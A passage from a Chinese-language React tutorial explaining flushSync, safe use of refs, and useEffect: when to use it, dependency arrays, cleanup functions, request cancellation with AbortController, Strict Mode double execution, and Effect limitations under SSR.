    const newTodo = { id: nextId++, text: text };

    flushSync(() => {
      setText('');
      setTodos([...todos, newTodo]);
    });

    listRef.current.lastChild.scrollIntoView({
      behavior: 'smooth',
      block: 'nearest',
    });
  }

  return (
    <>
      <button onClick={handleAdd}>添加</button>
      <input value={text} onChange={e => setText(e.target.value)} />
      <ul ref={listRef}>
        {todos.map(todo => (
          <li key={todo.id}>{todo.text}</li>
        ))}
      </ul>
    </>
  );
}

let nextId = 0;
let initialTodos = [];
for (let i = 0; i < 20; i++) {
  initialTodos.push({ id: nextId++, text: '待办 #' + (i + 1) });
}
```

**核心概念**

1. **React 默认异步更新**：为了性能优化，React 会批量更新 state 和 DOM。
2. **flushSync**：强制在调用时立即同步更新 DOM。
3. **使用场景**：当后续代码需要立即访问更新后的 DOM 或 state，例如滚动到最新元素、获取尺寸、测量布局等。

**总结**：在需要 **立刻操作更新后的 DOM** 时，使用 `flushSync` 可以避免异步更新导致的“滞后”问题。

## 使用 refs 操作 DOM 的最佳实践{#best-practices-for-manipulating-dom-with-refs}

基本原则

* **Refs 是“脱围机制”**：只在必须“跳出 React”时使用它们。
* **常见用途**：管理焦点、滚动位置、调用 React 未暴露的浏览器 API。
* **避免直接修改 DOM**：手动改变 React 管理的 DOM 可能导致不可预测行为或崩溃。

```jsx
import { useState, useRef } from 'react';

export default function Counter() {
  const [show, setShow] = useState(true);
  const ref = useRef(null);

  return (
    <div>
      {/* 正确：使用 state 控制显示 */}
      <button onClick={() => setShow(!show)}>通过 setState 切换</button>

      {/* 错误：直接操作 DOM */}
      <button onClick={() => ref.current.remove()}>从 DOM 中删除</button>

      {show && <p ref={ref}>Hello world</p>}
    </div>
  );
}
```

* **通过 state 切换**：React 正确管理元素的显示和隐藏。
* **直接 remove()**：手动移除 DOM，React 无法感知，会导致后续渲染崩溃或不一致。

安全操作的例外

* 如果某个 DOM 节点 **React 永远不会更新其子元素**，可以在该节点上手动增删子元素。

  例如，一个永远为空的 `<div>`，手动操作不会与 React 的渲染冲突。

**核心理念**：**让 React 管理 DOM，refs 仅用于非破坏性访问和操作**。

## 使用 Effect 进行同步{#use-effect-to-synchronize}

**什么是 Effect？**

在 React 中，**Effect（大写 E）指的是由渲染本身触发的副作用**。

也就是说，它代表那些“渲染之后必须发生”的行为，用来**让 React 组件与外部系统保持同步**。

例如：

* 组件第一次挂载时建立 WebSocket 连接
* DOM 渲染完成后启动动画
* 组件显隐变化时启动 / 停止订阅
* 页面渲染后上报分析日志

这些行为不能发生在“渲染期间”，因为渲染必须保持纯粹（纯函数），但它们又不是由某个特定用户事件触发，因此需要由 Effect 来处理。

**渲染逻辑 vs 事件逻辑 vs Effect**

理解 Effect 之前，需要理清组件中三种不同的逻辑类型：

**（1）渲染逻辑（Rendering）**

发生在组件的最顶层，直接写在函数体中。

它基于 `props` 和 `state` 描述 UI，必须是**纯函数**：

* 相同输入 → 相同输出
* 不产生副作用
* 不修改应用状态
* 不能发起请求、不能操作 DOM、不能订阅事件

React 会随时重新执行渲染，因此这些代码必须绝对可预测。

**（2）事件逻辑（Event handlers）**

组件中的事件处理程序，如 `onClick`、`onChange`。

它们是**允许产生副作用的地方**，因为事件源于用户行为。

典型事件副作用包括：

* 更新 state
* 发起网络请求（提交表单）
* 存储数据到 localStorage
* 跳转页面

事件是**用户驱动的副作用**。

**（3）Effect（由渲染触发的副作用）**

有一些操作既不属于“纯渲染”，也不是用户事件导致的，但组件又确实需要执行它们。

这类操作属于 **“由组件的生命周期或渲染触发的副作用”**。

例如：一个 ChatRoom 组件只要被显示，就必须自动连接聊天服务器。

这个连接并不是：

* 纯计算（不能写在渲染中），也不是
* 某个用户事件触发（用户没必要点按钮才能显示聊天室）

**它是由组件“出现”这个事实触发的副作用**。

因此才会有 Effect 的存在。

**为什么需要 Effect？**

可以理解为：

🟦 渲染代码负责“描述 UI”
🟩 事件处理负责“响应用户”
🟧 Effect 负责“让组件与外部世界同步”

Effect 的触发场景通常是：

* “组件第一次渲染完后我需要做点什么”
* “某个 state 改变后我需要同步到外部系统”
* “某些资源在组件消失时要清理”

它是 React 解决“组件生命周期相关副作用”的唯一机制。

**Effect 与事件的根本区别**

| 类型   | 触发方式           | 是否需要纯粹                   | 可以产生副作用？ | 场景举例                   |
| ------ | ------------------ | ------------------------------ | ---------------- | -------------------------- |
| 渲染   | React 调用组件函数 | 必须纯粹                       | 不可以           | JSX 生成                   |
| 事件   | 用户行为触发       | 不要求纯粹                     | 可以             | 点击按钮发送请求           |
| Effect | 渲染结束后自动触发 | 渲染必须纯粹，它在渲染之后执行 | 可以             | 订阅、连接、日志、DOM 操作 |

**一句话总结**：事件是用户驱动，Effect 是渲染驱动。

**Effect 为什么在开发环境运行两次？**

React 处于严格模式（Strict Mode）时，会为了帮助开发者发现副作用 bug，把某些操作刻意“调试化”：

在开发环境中 **Effect 会执行 → 清理 → 再执行一次**，但生产环境只会运行一次。

这是一种“压力测试”，帮助你发现：

* 不纯的渲染逻辑
* 忘记清理订阅的 Effect
* 潜在的内存泄漏

**总结**

* Effect = 由 **渲染本身** 触发的副作用
* 渲染必须纯粹，不能包含副作用
* 事件是用户触发的副作用
* Effect 是“组件出现、更新或消失时”需要执行的同步逻辑
* 用于连接外部系统：网络、DOM、第三方库、订阅、日志
* 在开发模式下 Effect 会运行两次（安全机制）

## 可能不需要 Effect{#effects-may-not-be-needed}

Effect 是 React 中最容易被误用的特性之一。很多场景其实根本不应该使用它。

**Effect 不是“逻辑挪放区”**

当你刚开始接触 React 时，很容易出现一个误区：

> “只要 state 改变后我需要写点逻辑，那我就写一个 Effect。”

但这是错误的。

Effect 是为了 **同步外部系统** 的，而不是用来写组件内部逻辑的。

React 官方甚至明确强调：

> 大多数你想写 Effect 的地方，其实不需要它。

**Effect 的目的：同步“外部系统”**

Effect 的真正职责是：

> **在渲染完成后，让 React 与外部世界保持一致。**

外部系统包括：

* 浏览器 API（如 `document.title`、DOM 操作）
* 第三方组件
* 订阅（WebSocket、事件监听）
* 网络连接
* 日志上报

如果你的操作不属于这些范畴，而只是组件内部的逻辑，几乎都不应该用 Effect。

明确：**如果 Effect 只是为了设置另一个 state，不要用它**

这是一个最常犯的错误：

```jsx
useEffect(() => {
  setFilteredItems(items.filter(/* ... */))
}, [items])
```

这个 Effect 根本不应该存在。

因为它只是根据 state 推导另一个 state，React 完全可以直接在渲染中处理：

```jsx
const filteredItems = items.filter(/* ... */)
```

Effect 不应该成为“数据加工厂”。

**那什么时候会出现“用 Effect 来更新 state，但其实不该用”的情况？**

典型错误示例：

**情况一：想在 state 改变后执行计算**

```jsx
useEffect(() => {
  setWidth(width * 2)
}, [width])
```

这是一个典型的“循环更新陷阱”，逻辑本不应该放在 Effect 中。

正确做法永远是：

* 派生数据 → 放在渲染里
* 事件产生的状态更新 → 放在事件里

**情况二：用于数据格式化、过滤、排序**

这类逻辑永远可以直接写在渲染中：

```jsx
const sorted = [...list].sort(...)
```

没有必要放到 Effect 里。

**情况三：为了解决“某个 state 没同步”的错觉**

很多人会写：

```js
useEffect(() => {
  console.log(value)
}, [value])
```

以为 Effect 才能拿到“更新后的最新值”。

这是误解，因为：

* 渲染函数执行时拿到的 state 本来就是最新的
* 你根本不需要 Effect

::: details React 官方推荐的“判断流程”

以下是一个判断你是否真正需要 Effect 的官方思维模型：

1. **你想同步的是 React 内部状态吗？**

→ 不需要 Effect。

2. **你想同步的是外部系统状态吗？**

→ 可能需要 Effect。

3. **你的逻辑可以写在渲染里（纯计算）吗？**

→ 不需要 Effect。

4. **你的逻辑可以放在事件处理器中（用户触发）吗？**

→ 不需要 Effect。

5. **这是某个资源需要在组件挂载/卸载时初始化/销毁吗？**

→ 你需要 Effect。

:::

**真正需要 Effect 的是这些操作：**

**当组件“出现”或“消失”时：**

* 建立 / 断开 WebSocket
* 订阅事件
* 注册第三方库
* 绑定 DOM 事件

**当渲染结果需要同步到外部时：**

* 修改 `document.title`
* 根据 state 操作 DOM（测量元素尺寸）
* 控制外部控件（比如地图实例、视频播放器）

**当 UI 改变后需要触发一次性的外部行为**

* 日志打点
* 接入第三方动画库

除此之外 90% 的“想写 Effect”场景其实不应该写。

**总结**

**Effect 用于外部系统同步，不是用来处理 React 内部逻辑的。**

**如果只是根据 state 计算出另一个结果，请放在渲染里。**

**如果是用户行为触发的副作用，放在事件 handler 里。**

**只有当渲染完成后需要对接外部系统时，才使用 Effect。**

## 使用 Effect{#use-effect }

```js
import { useEffect } from 'react';

function MyComponent() {
  useEffect(() => {
    // 每次渲染后都会执行此处的代码
  });
  return <div />;
}
```

每当你的组件渲染时，React 会先更新页面，然后再运行 `useEffect` 中的代码。换句话说，**`useEffect` 会“延迟”一段代码的运行，直到渲染结果反映在页面上**。

## 指定 Effect 依赖{#specify-effect-dependency}

```js
useEffect(() => {
  // 只有当依赖项变化时才执行
}, [dependency1, dependency2]); // 依赖数组
```

**依赖数组的三种情况：**

**无依赖数组**，每次渲染后都执行

```jsx
useEffect(() => {
  // 每次渲染后运行
});
```

**空依赖数组** - 仅在挂载时执行一次

```jsx
useEffect(() => {
  // 仅在组件挂载时执行
}, []);
```

**有依赖项** - 依赖项变化时执行

```jsx
useEffect(() => {
  // 当 isPlaying 变化时执行
}, [isPlaying]);
```

React 真正执行 useEffect 的时机是：

组件**第一次渲染完成**（mount）后 → 一定会执行一次回调

每次组件**重新渲染**（update）完成后 → React 会：

* 把这次渲染中的依赖数组 `[isPlaying]` 和 **当前值** 拿出来
* 和上一次保存的依赖值进行**浅比较（Object.is）**
* 如果**任意一个依赖变了** → 重新执行回调函数
* 如果**所有依赖都没变** → 直接跳过，不执行回调

注意：**不是“组件更新后就开始判断，再决定要不要执行”**，而是：

组件渲染完成 → 浏览器绘制（paint） → layout 结束后 → React 在 commit 阶段的**被动效果阶段**（passive effects）才真正执行 useEffect 的回调和依赖比较。

**时间线**：

```js
1. state 改变（比如 setIsPlaying(!isPlaying)）
2. 组件函数重新执行（重新渲染）
3. 生成新的 JSX（虚拟 DOM）
4. React 开始 commit 阶段：
   ├─ 先执行 DOM 操作（插入/更新真实 DOM）
   ├─ 浏览器进行 layout + paint（页面真正显示变化）
   └─ 然后执行 useEffect 回调（包括清理上一次的 effect + 运行新的）
5. 在执行新 effect 之前，React 会比较依赖数组
   ├─ 如果 [isPlaying] 变了 → 运行回调
   └─ 如果没变 → 跳过
```

**总结**：每次组件渲染完成并提交到 DOM 之后，React 才会去比较依赖数组，看看有没有变化，有变化才重新执行回调，没有就跳过。

## 添加清理操作{#add-cleanup-action}

```js
useEffect(() => {
  // Effect 逻辑
  
  return () => {
    // 清理函数
    // 在组件卸载或下次 Effect 执行前运行
  };
}, [dependencies]);
```

组件卸载通常由以下情况触发：

**条件渲染**：`{condition && <Component />}`

**路由切换**：导航到不同页面

```jsx
<Routes>
    <Route path="/page1" element={<Page1 />} />  {/* 离开此路由时卸载 */}
    <Route path="/page2" element={<Page2 />} />  {/* 进入此路由时卸载Page1 */}
</Routes>
```

**列表重新渲染**，key 变化或项被移除

**父组件重新渲染**导致子组件结构变化

下次 Effect 执行前要运行清理函数是因为：**避免副作用累积和状态不一致**

常见例子：

* 定时器 - 防止重复创建
* 事件监听器 - 防止重复监听
* 数据订阅 - 防止内存泄漏

**清理函数执行时机：**

* **组件卸载时** - 最终清理
* **依赖变化时** - 在运行新 Effect 之前清理旧的

**设计哲学：**

* 每次 Effect 执行都对应一个"会话"
* 新会话开始前必须结束旧会话
* 确保资源正确释放和状态一致性

**总结**：

```jsx
useEffect(() => {
  // 1. Effect 主逻辑（订阅、定时器、手动 DOM 操作、请求等）
  
  return () => {
    // 2. 这个函数叫「清理函数」（cleanup function）
  };
}, [dep]);
```

| 时机                       | 是否触发 cleanup | 触发后做什么                               | 备注                           |
| -------------------------- | ---------------- | ------------------------------------------ | ------------------------------ |
| 1. 组件第一次渲染（mount） | 不触发           | 只执行主逻辑                               | 还没有“旧的 effect”需要清理    |
| 2. 依赖发生变化 → 重新渲染 | 是               | 先运行上一次的 cleanup → 再运行新的 effect | 核心：防止副作用叠加或泄漏     |
| 3. 组件卸载（unmount）     | 是               | 运行最后一次的 cleanup                     | 通常用来取消订阅、清除定时器等 |

```jsx
初次渲染
└── 执行 effect()                          // 没有 cleanup

isPlaying: false → true（依赖变化）
├── 先执行上一次的 return cleanup()
└── 再执行新的 effect()

isPlaying: true → false（再次变化）
├── 先执行上一次的 return cleanup()
└── 再执行新的 effect()

组件卸载
└── 执行最后一次的 return cleanup()       // 彻底清理资源
```

**经典实际例子**

```jsx
useEffect(() => {
  const timer = setInterval(() => {
    console.log('计时中...', isPlaying);
  }, 1000);

  // 清理函数
  return () => {
    clearInterval(timer);
    console.log('清理了定时器');
  };
}, [isPlaying]);
```

运行效果：

* 打开页面 → 启动定时器
* 切换 isPlaying → 先 clear 旧定时器 → 再开新定时器（避免多个定时器同时跑）
* 组件卸载组件 → 最后再 clear 一次（防止内存泄漏）

**订阅的例子**

```js
useEffect(() => {
  const unsub = someEventBus.on('data', handler);

  return () => {
    unsub(); // 取消订阅不取消会导致内存泄漏、重复触发
  };
}, [userId]);
```

当 userId 变化时，旧用户的订阅必须先取消，否则你会同时收到两个用户的消息！

> “每当依赖变化时，React 会把上一个 effect 当作『即将废弃』的来处理，先执行它的清理函数，再创建新的 effect。”

## 请求取消演示{#request-cancel}

**请求取消** 是 useEffect + cleanup 最最最经典、最最最容易出错、也是面试最爱考的例子！

```jsx
useEffect(() => {
  // 1. 创建一个 AbortController（现代取消请求的标准姿势）
  const controller = new AbortController();

  // 2. 开始发请求，把 signal 传进去
  fetch(`https://api.example.com/user/${userId}`, {
    signal: controller.signal,   // 重点！！
  })
    .then(res => res.json())
    .then(setData)
    .catch(err => {
      // 如果是用户主动取消的请求，这个错误我们不关心
      if (err.name === 'AbortError') {
        console.log('请求已取消');
        return;
      }
      setError(err);
    });

  // 3. 清理函数：在下次 useEffect 运行前或组件卸载时执行
  return () => {
    controller.abort();   // 关键！取消正在进行的请求
  };
}, [userId]); // 当 userId 变了，或者组件卸载了，就会触发取消
```

| 用户操作                        | 实际执行顺序                                                 | 结果                                 |
| ------------------------------- | ------------------------------------------------------------ | ------------------------------------ |
| userId 从 1 → 2                 | 1. 先执行 cleanup → `controller.abort()` 2. 取消 id=1 的请求 3. 再发 id=2 的新请求 | 不会出现「新页面显示了旧数据」的 bug |
| 用户快速切换多个页面切换        | 每次切换都会 abort 掉上一个请求                              | 最终只会有最后一个请求成功返回       |
| 用户点返回或关闭页面（unmount） | 执行最后的 cleanup → abort 正在请求的网络                    | 彻底避免内存泄漏和无用网络流量       |

**async/await 版本**

```jsx
useEffect(() => {
  const controller = new AbortController();

  async function fetchUser() {
    try {
      const res = await fetch(`/api/user/${userId}`, {
        signal: controller.signal,
      });
      const data = await res.json();
      setUser(data);
    } catch (err) {
      if (err.name === 'AbortError') return;
      setError(err);
    }
  }

  fetchUser();

  return () => {
    controller.abort(); // 必须写在 return 里！
  };
}, [userId]);
```

**经典错误写法**

```jsx
// 错误！把 abort 写在 async 函数里没用
useEffect(() => {
  const controller = new AbortController();

  fetchData(controller.signal).finally(() => {
    controller.abort(); // 太晚了！请求已经发完或已经拿到结果了
  });

  // 缺少 return cleanup！
}, [userId]);
```

**凡是在 useEffect 里发的网络请求、WebSocket、事件监听、定时器、setInterval、addEventListener…… 只要它可能在组件卸载后还有回调，或者依赖变化后旧的还在跑， 就一定要在 cleanup 里把它干掉！**

## useEffect 经典陷阱{#useEffect-classic-trap}

**死循环陷阱**

```jsx
const [count, setCount] = useState(0);

useEffect(() => {
  setCount(count + 1);     // 危险！没有任何依赖数组
});
```

**会发生什么？**

* 组件初次渲染 → useEffect 执行 → setCount(1)
* state 更新 → 触发重新渲染
* 渲染完成 → useEffect 再次执行 → setCount(2)
* state 更新 → 再次重新渲染 → useEffect 再次执行 → setCount(3)
* ……直到浏览器崩溃或 React 抛出 “Too many re-renders” 错误

“这就像把电源插座的插头插回自身一样” Effect 运行 → 更新 state → 触发渲染 → 又运行 Effect → 再次更新 state → 永不停息 → 死循环！

| 原则                                    | 解释                                                | 正确做法                                |
| --------------------------------------- | --------------------------------------------------- | --------------------------------------- |
| 1. Effect 是用来“与外部系统同步”的      | 订阅、fetch、手动 DOM、定时器、WebSocket、第三方库  | 必须写 cleanup                          |
| 2. 纯粹根据其他 state/pros 计算新 state | 属于“派生状态”（derived state）                     | 不要用 Effect！                         |
| 3. 依赖数组必须诚实                     | 用了哪个变量就写哪个，不能漏、不能多、不能骗 linter | 相信 eslint-react-hooks/exhaustive-deps |

## 依赖数组省略项{#dependent-array-omissions}

**凡是 React 官方保证「在组件整个生命周期内绝不会变」的对象，就可以安全从依赖数组中省略，而且 linter 也不会报错**。

目前只有 **三种** 东西满足这个条件：

| 类型                       | 示例                         | 是否跨渲染保持同一对象 | linter 会不会报错  |
| -------------------------- | ---------------------------- | ---------------------- | ------------------ |
| useRef() 返回的 ref        | const ref = useRef()         | 永远是同一个对象       | 不报错，可省略     |
| useState() 返回的 setter   | const \[x, setX] = useState() | 永远是同一个函数       | 不报错，可省略最优 |
| useMemo/useCallback 空依赖 | useCallback(() => {}, \[])    | 永远是同一个函数       | 不报错             |

React 把 ref 对象挂在当前 fiber 的 memoizedState 链表里，只要组件不被销毁，这个对象就永远是同一个引用。

```jsx
function VideoPlayer({ isPlaying }) {
  const ref = useRef(null);

  // 写法一：官方推荐（省略 ref）
  useEffect(() => {
    if (isPlaying) {
      ref.current.play();
    } else {
      ref.current.pause();
    }
  }, [isPlaying]); // 没写 ref，linter 也不报错

  // 写法二：你也可以写上，完全等价
  useEffect(() => {
    // ...同上
  }, [isPlaying, ref]); // 写上也没错，但多此一举
}
```

两种写法执行效果 100% 一样，性能也完全一样。

**什么情况下 ref 必须写进依赖**？

只有一种情况：**ref 是从父组件传下来的 props**

```jsx
function BadParent() {
  const [key, setKey] = useState(0);
  const myRef = useRef(); // 每次 setKey 都重新创建组件，ref 也会变

  return <VideoPlayer videoRef={myRef} key={key} />;
}

function VideoPlayer({ videoRef }) {
  useEffect(() => {
    // videoRef 可能变！必须写进依赖
  }, [videoRef]);
}
```

因为父组件可能重新创建 ref 对象，React 无法保证它的稳定性，所以 linter 会强制要求你写上。

**setState 函数为什么也可以省略？**

React 保证：setCount 这个函数从组件创建到销毁永远是同一个函数引用。

所以即使你写成：

```jsx
}, [setCount]); // 也永远不会触发重新运行！
```

**当前组件自己的 state / props 必须写进依赖数组吗？**

只要在 useEffect / useCallback / useMemo 里“读取”了某个 state 或 props，就必须把它写进依赖数组。

没有例外，没有侗丝，没有“性能优化”借口。

```jsx
function Counter({ step }) {
  const [count, setCount] = useState(0);
  const [name, setName] = useState("Grok");

  useEffect(() => {
    console.log(count, name, step); // 读取了三个值
  }, [count, name, step]); // 一个都不能少！linter 会逼你写全

  useEffect(() => {
    const id = setInterval(() => {
      setCount(c => c + step); // 函数式更新 → 可以不依赖 count
    }, 1000);
    return () => clearInterval(id);
  }, [step]); // 只依赖 step，count 没读到，所以不用写
}
```

## 开发环境下 Effect 运行了两次{#effects-ran-twice-in-development}

> **为什么开发环境 Effect 执行两次**？
>
> React 故意在开发环境下「mount → cleanup → mount」一次，帮助你发现代码中不纯的副作用

> **生产环境会执行几次？**
>
> 只执行一次（正常行为）

> **应该怎么思考这个问题？**
>
> 永远不要问「怎么让 Effect 只运行一次」 而要问「让我的 Effect 在被 teardown 后再 mount 依然正确」

**终极解法**：实现正确的 cleanup 函数（清理函数）

```js
开发环境 StrictMode：
1. mount       → 执行 Effect
2. cleanup     → 执行 return 的清理函数
3. mount again → 再次执行 Effect

生产环境：
1. mount       → 执行 Effect（只此一次）
```

**常见场景最佳实践一览表**

| 场景                | 是否需要 cleanup | 开发环境执行两次的表现                 | 正确写法（精简版）                     |
| ------------------- | ---------------- | -------------------------------------- | -------------------------------------- |
| 订阅事件            | 必须             | add → remove → add（最终只有一个监听） | `return () => removeEventListener()`   |
| 触发动画            | 建议             | 设1 → 设0 → 设1（视觉上无闪烁）        | `return () => node.style.opacity = 0`  |
| 操作非 React 组件   | 看情况           | 两次 setZoomLevel 相同值 → 无副作用    | 可不写 cleanup（幂等操作）             |
| 打开 modal/dialog   | 必须             | show → close → show（不抛错）          | `return () => dialog.close()`          |
| 建立 WebSocket/连接 | 必须             | connect → disconnect → connect         | `return () => connection.disconnect()` |
| 发请求（fetch）     | 强烈建议         | 发两次请求，但旧请求被忽略             | AbortController 或 ignore 标志位       |
| 发送埋点/logVisit   | 可不写 cleanup   | 发两次（开发环境无所谓）               | 直接发，生产只发一次                   |
| 购买、支付等副作用  | 不应放 Effect    | 会买两次！致命 bug                     | 放点击事件里！                         |

经典错误写法

```js
// 错误1：用 ref 跳过执行（假装修复）
const didRun = useRef(false);
useEffect(() => {
  if (didRun.current) return;
  didRun.current = true;
  createConnection(); // 开发环境看似只运行一次，但根本没解决问题
}, []);

// 错误2：把「购买」放 Effect
useEffect(() => {
  fetch('/api/buy', {method: 'POST'}); // 开发环境买两次，生产环境回退页面再买一次
}, []);

// 错误3：关掉严格模式或 eslint
// <React.StrictMode> 删掉 → 短期爽，长期死
```

推荐写法

```js
// 1. 订阅事件
useEffect(() => {
  const handler = () => {...};
  window.addEventListener('scroll', handler);
  return () => window.removeEventListener('scroll', handler);
}, []);

// 2. 操作第三方组件（幂等操作可不清理）
useEffect(() => {
  mapRef.current?.setZoomLevel(zoomLevel);
}, [zoomLevel]); // 两次调用相同值，没问题

// 3. 打开 dialog（必须清理）
useEffect(() => {
  dialogRef.current?.showModal();
  return () => dialogRef.current?.close();
}, []);

// 4. 数据请求（推荐 AbortController）
useEffect(() => {
  const controller = new AbortController();
  fetch(url, { signal: controller.signal })
    .then(r => r.json())
    .then(setData);
  return () => controller.abort();
}, [userId]);

// 5. 或者经典 ignore 方案（兼容性更好）
useEffect(() => {
  let ignore = false;
  fetchTodos(userId).then(res => {
    if (!ignore) setTodos(res);
  });
  return () => { ignore = true; };
}, [userId]);

// 6. 购买、支付、发送邮件等「意图性操作」→ 绝不放 Effect
function handleBuy() {
  fetch('/api/buy', {method: 'POST'}); // 只在点击时触发
}
```

Effect 不是「组件加载时运行一次」的钩子，而是「与外部系统同步」的声明式工具。

你要保证：「**用户离开页面再回来**」和「**生产环境只加载一次**」这两种情况，用户看到的效果完全一样。

React 在开发环境故意搞破坏，就是为了逼你写出真正健壮的代码。

***

```js
useEffect(() => {
  mapRef.current?.setZoomLevel(zoomLevel);   // ← 只是“设置一个值”
}, [zoomLevel]);
```

为什么「可以不写 cleanup」是安全的，甚至是推荐的

| 事实                                                         | 解释                                                         |
| ------------------------------------------------------------ | ------------------------------------------------------------ |
| 操作是 **幂等的（idempotent）**                              | 调用一次 `setZoomLevel(10)` 和调用十次 `setZoomLevel(10)`，地图最终状态完全一样，没有副作用叠加 |
| 依赖相同 → Effect 根本不会重新运行                           | 当 `zoomLevel` 没变时，React 直接跳过整个 Effect，所以根本不会执行第二次 `setZoomLevel` |
| 开发环境“执行两次”的真实顺序是： `zoomLevel=10` → setZoomLevel(10) → cleanup（没有） → 再次 setZoomLevel(10) | 地图还是 10 → 10 → 10，用户完全看不出来                      |
| 没有创建需要销毁的资源                                       | 没有 timer、没有 subscription、没有 WebSocket、没有 addEventListener → 根本没东西需要“撤销” |

**不是“没啥好清理的”，而是根本没有需要清理的东西产生**。 这才是它安全的本质原因。

**可以不写 cleanup”的经典安全操作**

```js
useEffect(() => {
  // 这些都安全，不需要 cleanup
  ref.current?.scrollIntoView();
  ref.current?.focus();
  videoRef.current?.play();
  canvasCtx?.clearRect(0, 0, w, h);
  thirdPartyPlayer.setVolume(volume);
  editor.setContent(content);
}, [volume, content]);
```

只要满足下面任意一条，就可以不写 cleanup：

* 操作是幂等的（重复调用结果一样）
* 或者依赖没变时 Effect 根本不重跑（React 帮你跳过）

> “我这个 Effect 只是『设置一个当前状态』， 而不是『创建一个需要后续撤销的东西』， 那就不需要 cleanup。”

## Effect 请求问题{#effect-request-questions}

**在 CSR（客户端渲染）里：Effect 请求基本没大问题**

浏览器加载 JS → 组件渲染 → Effect 执行 → 发请求，非常正常

不存在“服务器 HTML 没数据”的问题，因为本来就没有 SSR

“调用两次”只在开发模式（StrictMode）下，生产环境只执行 **一次**

所以，CSR 下完全可以用 Effect 发请求

**在 SSR（服务端渲染）里：Effect 的缺点非常明显**

因为 Effect **不会在服务器执行**：

* 首屏 HTML 没数据，只能显示 loading
* 数据请求延后：hydrate 之后才开始
* 更容易出现网络瀑布
* 无法提前预加载数据
* 没有缓存（组件切换就重复请求）

这些问题在 CSR 都不“致命”，但在 SSR 会导致 **首屏慢、SEO 差、白屏时间长**。

**总结**：

**CSR：Effect 请求没问题，生产也不会触发两次。**

**SSR：Effect 请求会导致一串性能问题（首屏没有数据）→ 建议用框架的专用方式。**

***

**框架大多都自带的数据获取（SSR 最佳实践）**

* Next.js
* Remix
* React Router
* Vue + Nuxt
* SvelteKit

**客户端缓存库（适用 CSR + SSR 混合）**

**React Query**

功能最全：

* 缓存
* 去重
* 并行
* 自动重试
* 后台刷新
* 预取数据（prefetch）

**SWR**

更轻量：

* 缓存
* 去重
* SWR stale-while-revalidate
* 预加载

***

::: info

**SSR 中 Effect 为什么是无效的**？

因为 **Effect 永远不会在服务器执行**。

服务器渲染 HTML 时，根本不会跑 useEffect，所以页面需要的数据不会出现在 SSR HTML 内。

```js
useEffect(() => {
  fetch('/api/user').then(...)
}, [])
```

服务器渲染时：

* useEffect **跳过**
* fetch **没有执行**
* HTML **都是空的、loading 状态**

浏览器收到的是这样的东西：

```html
<div>Loading...</div>
```

**没有真实内容，因为服务器没执行 Effect → 没获取数据。**

客户端接管后：

1. 下载 JS → 执行 React → 执行 useEffect
2. 发请求
3. 等数据回来
4. 重新渲染

这就导致：

* SSR 首屏快” → 被完全破坏
* HTML 不能被 SEO 收录
* 用户看到的仍然是 loading，然后等 JS 再等请求

**你以为你做的是 SSR，但实际上是 SSR + CSR 双重等待，本质上接近纯 CSR。**

:::

***

::: info

**网络瀑布”到底是什么意思**

不是并发多，而是：

数据请求“串行”发生，不是“并行”

看下面结构：

```js
Page
 ├── UserInfo
 └── UserPosts
```

你如果写 Effect：

```js
function Page() {
  useEffect(() => fetch('/page').then(...), [])
}

function UserInfo() {
  useEffect(() => fetch('/user').then(...), [])
}

function UserPosts() {
  useEffect(() => fetch('/posts').then(...), [])
}
```

第一次渲染是这样：

1. Page SSR 出 HTML，但 Effect 不执行 → 页面是 loading
2. JS 下载 & hydrate 完成
3. Page 的 Effect 执行 → 发请求 A（等待）
4. 返回数据 → 渲染 UserInfo + UserPosts
5. UserInfo 的 Effect 执行 → 请求 B（等待）
6. UserPosts 的 Effect 执行 → 请求 C（等待）

**请求顺序是：A → B → C**

这就叫 **网络瀑布**：

* A 请求完才能渲染子组件
* 子组件渲染后再发 B、C
* 整体变得非常慢

如果 B/C 再有子组件，还会继续瀑布式往下延伸。

:::

***

::: info

**提前取数据”是什么？**

提前取数据 = **在服务器就把所有需要的数据拿好**。

你期望的是这样的流程：

1. SSR Server 执行：
   * 获取 user
   * 获取 posts
   * 等全部数据返回
2. 用这些数据生成完整 HTML
3. 客户端直接看到完整页面，无需再等请求

这就是：

* Next.js 的 server component
* Remix 的 loader
* SvelteKit 的 load
* Nuxt 的 useFetch

所有现代框架在 SSR 的数据获取都是围绕 **“提前获取”** 来设计的。

而 Effect 做不到提前获取，因为它不执行。

:::

**总结**：Effect 是纯客户端行为，所以在 SSR 中它完全无法承担“获取 SSR 所需数据”的职责。

## 每一轮渲染都有自己的 Effect{#each-round-of-rendering-has-its-own-Effect}

Effect（useEffect）本质上并不是“事件”或“生命周期”，而是：

**在某次渲染输出中附带的一段副作用描述。**

也就是说：

* JSX 是渲染输出的 **UI 描述**
* Effect 是渲染输出的 **副作用描述**

React 会根据依赖项，决定某一轮渲染的 Effect 该不该执行、该不该清理。

```jsx
export default function ChatRoom({ roomId }) {
  useEffect(() => {
    const connection = createConnection(roomId);
    connection.connect();

    return () => connection.disconnect();
  }, [roomId]);

  return <h1>欢迎来到 {roomId}！</h1>;
}
```

**初次渲染（mount）**

假设第一次渲染 `<ChatRoom roomId="general" />`

**渲染输出的内容包含两部分**：

UI（JSX）

```jsx
<h1>欢迎来到 general！</h1>
```

Effect（副作用描述）

```jsx
() => {
  const connection = createConnection('general');
  connection.connect();
  return () => connection.disconnect();
}
依赖: ['general']
```

React 发现依赖项第一次出现，于是执行这个 Effect → 连接到 “general” 聊天室。

**渲染再次发生，但依赖不变**

假设组件再次渲染（state 变了、父组件重新渲染等），但 `roomId` 依然是 `"general"`。

第二次渲染输出仍然是：

JSX：

```jsx
<h1>欢迎来到 general！</h1>
```

Effect（也是 identical 的）：

依赖还是 `['general']`

React 会做依赖比较：

```jsx
Object.is('general', 'general') === true
```

* React 判定 Effect **没必要重新执行**
* 不会执行清理，也不会执行新的 Effect
* DOM 也不会更新

效果：**渲染发生了，但 Effect 没有任何动作**

渲染发生，并且依赖项变化（roomId 改了）

用户跳到 `<ChatRoom roomId="travel" />`

渲染的 UI 变了：

```jsx
<h1>欢迎来到 travel！</h1>
```

渲染的 Effect 也变了：

依赖变为 `['travel']`

React 比较依赖项：

```jsx
Object.is('travel', 'general') === false
```

依赖不同 → React 需要更新 Effect

发生两件事：

① **清理 上一次执行过的 Effect**

因为上一次运行的 Effect 是用 `"general"` 建的连接

所以清理逻辑会断开它：

```jsx
disconnect('general')
```

② **运行本次渲染新的 Effect**

```jsx
connect('travel')
```

最终实现了：

* 从 general 聊天室断开
* 连接到 travel 聊天室

组件卸载（unmount）

组件被卸载时，React 会执行**最后一次有效渲染的 Effect 的清理函数**。

如果最后是 travel：
